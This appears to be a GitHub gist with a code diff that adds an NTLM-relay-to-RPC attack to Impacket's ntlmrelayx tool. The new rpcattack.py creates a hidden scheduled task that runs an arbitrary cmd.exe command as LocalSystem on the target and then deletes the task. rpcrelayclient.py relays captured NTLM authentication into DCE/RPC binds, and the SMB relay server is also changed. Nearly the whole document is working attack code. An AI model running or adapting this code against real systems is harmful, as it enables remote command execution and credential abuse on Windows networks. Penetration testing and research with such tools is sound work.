Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@mohemiv
Last active May 15, 2020 02:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mohemiv/ab542e4ff5d8fedda790e35326705bad to your computer and use it in GitHub Desktop.
Save mohemiv/ab542e4ff5d8fedda790e35326705bad to your computer and use it in GitHub Desktop.
Impacket Reaying to RPC attack Original
diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py
index c53da8fa..3eb6bb33 100755
--- a/examples/ntlmrelayx.py
+++ b/examples/ntlmrelayx.py
@@ -145,12 +145,14 @@ def start_servers(options, threads):
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
+ c.setDisableMulti(options.disable_multi)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid)
+ c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
@@ -250,15 +252,26 @@ if __name__ == '__main__':
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
+ parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
+ 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'
+ ' in the same directory). For RPC no output will be provided.')
+
#SMB arguments
smboptions = parser.add_argument_group("SMB client options")
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
- smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
- 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
- 'directory).')
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
+ smboptions.add_argument('--disable-multi', action='store_true', required=False, help='If set, disable multi-host relay (in case Guest authentication is disabled')
+
+ #RPC arguments
+ rpcoptions = parser.add_argument_group("RPC client options")
+ rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported')
+ rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes')
+ rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]',
+ help='Use this credential to authenticate to SMB (low-privilege account)')
+ rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH")
+ rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB')
#MSSQL arguments
mssqloptions = parser.add_argument_group("MSSQL client options")
@@ -305,6 +318,10 @@ if __name__ == '__main__':
logging.error(str(e))
sys.exit(1)
+ if options.rpc_use_smb and not options.auth_smb:
+ logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes")
+ sys.exit(1)
+
# Init the example's logger theme
logger.init(options.ts)
diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
new file mode 100644
index 00000000..2f935273
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
@@ -0,0 +1,127 @@
+# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Authors:
+# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+# Based on @agsolino and @_dirkjan code
+#
+
+import time
+import string
+import random
+
+from impacket import LOG
+from impacket.dcerpc.v5 import tsch
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+
+PROTOCOL_ATTACK_CLASS = "RPCAttack"
+
+class TSCHRPCAttack:
+ def _xml_escape(self, data):
+ replace_table = {
+ "&": "&amp;",
+ '"': "&quot;",
+ "'": "&apos;",
+ ">": "&gt;",
+ "<": "&lt;",
+ }
+ return ''.join(replace_table.get(c, c) for c in data)
+
+ def _run(self):
+ # Here PUT YOUR CODE!
+ tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+
+ cmd = "cmd.exe"
+ args = "/C %s" % self.config.command
+
+ LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding))
+
+ xml = """<?xml version="1.0" encoding="UTF-16"?>
+<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
+ <Triggers>
+ <CalendarTrigger>
+ <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
+ <Enabled>true</Enabled>
+ <ScheduleByDay>
+ <DaysInterval>1</DaysInterval>
+ </ScheduleByDay>
+ </CalendarTrigger>
+ </Triggers>
+ <Principals>
+ <Principal id="LocalSystem">
+ <UserId>S-1-5-18</UserId>
+ <RunLevel>HighestAvailable</RunLevel>
+ </Principal>
+ </Principals>
+ <Settings>
+ <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+ <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+ <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
+ <AllowHardTerminate>true</AllowHardTerminate>
+ <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
+ <IdleSettings>
+ <StopOnIdleEnd>true</StopOnIdleEnd>
+ <RestartOnIdle>false</RestartOnIdle>
+ </IdleSettings>
+ <AllowStartOnDemand>true</AllowStartOnDemand>
+ <Enabled>true</Enabled>
+ <Hidden>true</Hidden>
+ <RunOnlyIfIdle>false</RunOnlyIfIdle>
+ <WakeToRun>false</WakeToRun>
+ <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
+ <Priority>7</Priority>
+ </Settings>
+ <Actions Context="LocalSystem">
+ <Exec>
+ <Command>%s</Command>
+ <Arguments>%s</Arguments>
+ </Exec>
+ </Actions>
+</Task>
+ """ % (self._xml_escape(cmd), self._xml_escape(args))
+
+ LOG.info('Creating task \\%s' % tmpName)
+ tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
+
+ LOG.info('Running task \\%s' % tmpName)
+ done = False
+
+ tsch.hSchRpcRun(self.dce, '\\%s' % tmpName)
+
+ while not done:
+ LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
+ resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName)
+ if resp['pLastRuntime']['wYear'] != 0:
+ done = True
+ else:
+ time.sleep(2)
+
+ LOG.info('Deleting task \\%s' % tmpName)
+ tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName)
+ LOG.info('Completed!')
+
+
+class RPCAttack(ProtocolAttack, TSCHRPCAttack):
+ PLUGIN_NAMES = ["RPC"]
+
+ def __init__(self, config, dce, username):
+ ProtocolAttack.__init__(self, config, dce, username)
+ self.dce = dce
+ self.rpctransport = dce.get_rpc_transport()
+ self.stringbinding = self.rpctransport.get_stringbinding()
+
+ def run(self):
+ # Here PUT YOUR CODE!
+
+ # Assume the endpoint is TSCH
+ # TODO: support relaying RPC to different endpoints
+ # TODO: support for providing a shell
+ # TODO: support for getting an output
+ if self.config.command is not None:
+ TSCHRPCAttack._run(self)
+ else:
+ LOG.error("No command provided to attack")
diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
new file mode 100644
index 00000000..7ac149c4
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
@@ -0,0 +1,203 @@
+# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Authors:
+# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+# Based on @agsolino and @_dirkjan code
+#
+
+from struct import unpack
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.spnego import SPNEGO_NegTokenResp
+
+from impacket.dcerpc.v5 import transport, rpcrt, epm, tsch
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \
+ MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \
+ rpc_status_codes, rpc_provider_reason
+
+PROTOCOL_CLIENT_CLASS = "RPCRelayClient"
+
+class RPCRelayClientException(Exception):
+ pass
+
+class MYDCERPC_v5(DCERPC_v5):
+ def __init__(self, transport):
+ DCERPC_v5.__init__(self, transport)
+
+ def sendBindType1(self, iface_uuid, auth_data):
+ bind = MSRPCBind()
+
+ item = CtxItem()
+ item['AbstractSyntax'] = iface_uuid
+ item['TransferSyntax'] = self.transfer_syntax
+ item['ContextID'] = 0
+ item['TransItems'] = 1
+ bind.addCtxItem(item)
+
+ packet = MSRPCHeader()
+ packet['type'] = rpcrt.MSRPC_BIND
+ packet['pduData'] = bind.getData()
+ packet['call_id'] = 0
+
+ sec_trailer = SEC_TRAILER()
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
+ sec_trailer['auth_ctx_id'] = 79231
+
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4
+ if pad != 0:
+ packet['pduData'] += b'\xFF' * pad
+ sec_trailer['auth_pad_len'] = pad
+
+ packet['sec_trailer'] = sec_trailer
+ packet['auth_data'] = auth_data
+
+ self._transport.send(packet.get_packet())
+
+ s = self._transport.recv()
+
+ if s != 0:
+ resp = MSRPCHeader(s)
+ else:
+ return 0 #mmm why not None?
+
+ if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:
+ bindResp = MSRPCBindAck(resp.getData())
+ elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:
+ if resp['type'] == rpcrt.MSRPC_FAULT:
+ resp = MSRPCRespHeader(resp.getData())
+ status_code = unpack('<L', resp['pduData'][:4])[0]
+ else:
+ resp = MSRPCBindNak(resp['pduData'])
+ status_code = resp['RejectedReason']
+ if status_code in rpc_status_codes:
+ raise DCERPCException(error_code = status_code)
+ elif status_code in rpc_provider_reason:
+ raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
+ else:
+ raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
+ else:
+ raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+
+ self.set_max_tfrag(bindResp['max_rfrag'])
+
+ return bindResp
+
+ def sendBindType3(self, auth_data):
+ sec_trailer = SEC_TRAILER()
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
+ sec_trailer['auth_ctx_id'] = 79231
+
+ auth3 = MSRPCHeader()
+ auth3['type'] = rpcrt.MSRPC_AUTH3
+
+ # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
+ # ignored on receipt. The pad field MUST be immediately followed by a
+ # sec_trailer structure whose layout, location, and alignment are as
+ # specified in section 2.2.2.11
+ auth3['pduData'] = b' '
+ auth3['sec_trailer'] = sec_trailer
+ auth3['auth_data'] = auth_data
+ auth3['call_id'] = 0
+
+ self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
+
+class DummyOp(NDRCALL):
+ opnum = 255
+ structure = (
+ )
+
+class RPCRelayClient(ProtocolClient):
+ PLUGIN_NAME = "RPC"
+
+ def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):
+ ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+ # TODO: support relaying RPC to different endpoints (e.g. DCOM, SpoolSS)
+ # TODO: create a single LOG interface for ntlmrelayx to provide a user info which message/error to which thread belongs
+ self.endpoint = serverConfig.rpc_mode
+
+ if self.endpoint == "TSCH":
+ self.endpoint_uuid = tsch.MSRPC_UUID_TSCHS
+ else:
+ raise NotImplementedError("Not implemented!")
+
+ if self.serverConfig.rpc_use_smb:
+ if self.endpoint == "TSCH":
+ self.stringbinding = "ncacn_np:%s[\\pipe\\atsvc]" % target.netloc
+ else:
+ raise NotImplementedError("Not implemented!")
+ else:
+ LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))
+ self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')
+
+ LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
+
+ def initConnection(self):
+ rpctransport = transport.DCERPCTransportFactory(self.stringbinding)
+
+ if self.serverConfig.rpc_use_smb:
+ LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))
+ rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
+ self.serverConfig.smblmhash, self.serverConfig.smbnthash)
+ rpctransport.set_dport(self.serverConfig.rpc_smb_port)
+
+ self.session = MYDCERPC_v5(rpctransport)
+ self.session.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
+ self.session.connect()
+
+ if self.serverConfig.rpc_use_smb:
+ LOG.info("Authentication to smb://%s:%d succeeded" % (self.target.netloc, self.serverConfig.rpc_smb_port))
+
+ return True
+
+ def sendNegotiate(self, auth_data):
+ bindResp = self.session.sendBindType1(self.endpoint_uuid, auth_data)
+
+ challenge = NTLMAuthChallenge()
+ challenge.fromString(bindResp['auth_data'])
+
+ return challenge
+
+ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+ if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+ respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+ auth_data = respToken2['ResponseToken']
+ else:
+ auth_data = authenticateMessageBlob
+
+ self.session.sendBindType3(auth_data)
+
+ try:
+ req = DummyOp()
+ self.session.request(req)
+ except DCERPCException as e:
+ if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e):
+ return None, STATUS_SUCCESS
+ elif 'rpc_s_access_denied' in str(e):
+ return None, STATUS_ACCESS_DENIED
+ else:
+ LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e)))
+ return None, STATUS_ACCESS_DENIED
+
+ def killConnection(self):
+ if self.session is not None:
+ self.session.get_rpc_transport().disconnect()
+ self.session = None
+
+ def keepAlive(self):
+ try:
+ req = DummyOp()
+ self.session.request(req)
+ except DCERPCException as e:
+ if 'nca_s_op_rng_error' not in str(e) or 'RPC_E_INVALID_HEADER' not in str(e):
+ raise
diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py
index c88cee6c..a8702451 100644
--- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py
+++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py
@@ -118,6 +118,35 @@ class SMBRelayServer(Thread):
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
+ # Do not use multi-target feature
+ if self.config.disableMulti:
+ if self.config.mode.upper() == 'REFLECTION':
+ self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+ self.target = self.targetprocessor.getTarget()
+
+ LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme,
+ self.target.netloc))
+
+ try:
+ if self.config.mode.upper() == 'REFLECTION':
+ # Force standard security when doing reflection
+ LOG.debug("Downgrading to standard security")
+ extSec = False
+ #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+ else:
+ extSec = True
+ # Init the correct client for our target
+ client = self.init_client(extSec)
+ except Exception as e:
+ LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+ self.targetprocessor.logTarget(self.target)
+ else:
+ connData['SMBClient'] = client
+ connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+ smbServer.setConnectionData(connId, connData)
+
+
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
@@ -175,9 +204,10 @@ class SMBRelayServer(Thread):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
- if 'relayToHost' not in connData:
- # Just call the original SessionSetup
- return self.origSmbSessionSetup(connId, smbServer, recvPacket)
+ if not self.config.disableMulti:
+ if 'relayToHost' not in connData:
+ # Just call the original SessionSetup
+ return self.origSmbSessionSetup(connId, smbServer, recvPacket)
# We have confirmed we want to relay to the target host.
respSMBCommand = smb3.SMB2SessionSetup_Response()
@@ -355,6 +385,8 @@ class SMBRelayServer(Thread):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
+ if self.config.disableMulti:
+ return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
@@ -433,11 +465,46 @@ class SMBRelayServer(Thread):
### SMBv1 Part #################################################################
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
- if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
+
+ if self.config.disableMulti:
if self.config.mode.upper() == 'REFLECTION':
- # Force standard security when doing reflection
- LOG.debug("Downgrading to standard security")
- recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+ self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
+
+ # TODO: Check if a cache is better because there is no way to know which target was selected for this victim
+ # except for relying on the targetprocessor selecting the same target unless a relay was already done
+ self.target = self.targetprocessor.getTarget()
+
+ LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
+ self.target.scheme, self.target.netloc))
+
+ try:
+ if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
+ extSec = False
+ else:
+ if self.config.mode.upper() == 'REFLECTION':
+ # Force standard security when doing reflection
+ LOG.debug("Downgrading to standard security")
+ extSec = False
+ recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
+ else:
+ extSec = True
+
+ # Init the correct client for our target
+ client = self.init_client(extSec)
+ except Exception as e:
+ LOG.error(
+ "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
+ self.targetprocessor.logTarget(self.target)
+ else:
+ connData['SMBClient'] = client
+ connData['EncryptionKey'] = client.getStandardSecurityChallenge()
+ smbServer.setConnectionData(connId, connData)
+ else:
+ if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
+ if self.config.mode.upper() == 'REFLECTION':
+ # Force standard security when doing reflection
+ LOG.debug("Downgrading to standard security")
+ recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
@@ -449,9 +516,10 @@ class SMBRelayServer(Thread):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
- if 'relayToHost' not in connData:
- # Just call the original SessionSetup
- return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
+ if not self.config.disableMulti:
+ if 'relayToHost' not in connData:
+ # Just call the original SessionSetup
+ return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
# We have confirmed we want to relay to the target host.
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
@@ -671,6 +739,8 @@ class SMBRelayServer(Thread):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
+ if self.config.disableMulti:
+ return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py
index c8aa9846..1f1ff3ca 100644
--- a/impacket/examples/ntlmrelayx/utils/config.py
+++ b/impacket/examples/ntlmrelayx/utils/config.py
@@ -23,6 +23,7 @@ class NTLMRelayxConfig:
self.listeningPort = None
self.domainIp = None
+
self.machineAccount = None
self.machineHashes = None
self.target = None
@@ -36,6 +37,8 @@ class NTLMRelayxConfig:
self.ipv6 = False
self.remove_mic = False
+ self.command = None
+
# WPAD options
self.serve_wpad = False
self.wpad_host = None
@@ -50,9 +53,17 @@ class NTLMRelayxConfig:
# SMB options
self.exeFile = None
- self.command = None
self.interactive = False
self.enumLocalAdmins = False
+ self.disableMulti = False
+
+ # RPC options
+ self.rpc_mode = None
+ self.rpc_use_smb = False
+ self.auth_smb = ''
+ self.smblmhash = None
+ self.smbnthash = None
+ self.port_smb = 445
# LDAP options
self.dumpdomain = True
@@ -108,6 +119,9 @@ class NTLMRelayxConfig:
def setEnumLocalAdmins(self, enumLocalAdmins):
self.enumLocalAdmins = enumLocalAdmins
+ def setDisableMulti(self, disableMulti):
+ self.disableMulti = disableMulti
+
def setEncoding(self, encoding):
self.encoding = encoding
@@ -151,6 +165,22 @@ class NTLMRelayxConfig:
def setMSSQLOptions(self, queries):
self.queries = queries
+ def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port):
+ self.rpc_mode = rpc_mode
+ self.rpc_use_smb = rpc_use_smb
+
+ import re
+ auth_re = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?')
+ self.smbdomain, self.smbuser, self.smbpass = auth_re.match(auth_smb).groups('')
+
+ if hashes_smb is not None:
+ self.smblmhash, self.smbnthash = hashes_smb.split(':')
+ else:
+ self.smblmhash = ''
+ self.smbnthash = ''
+
+ self.rpc_smb_port = rpc_smb_port
+
def setInteractive(self, interactive):
self.interactive = interactive
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment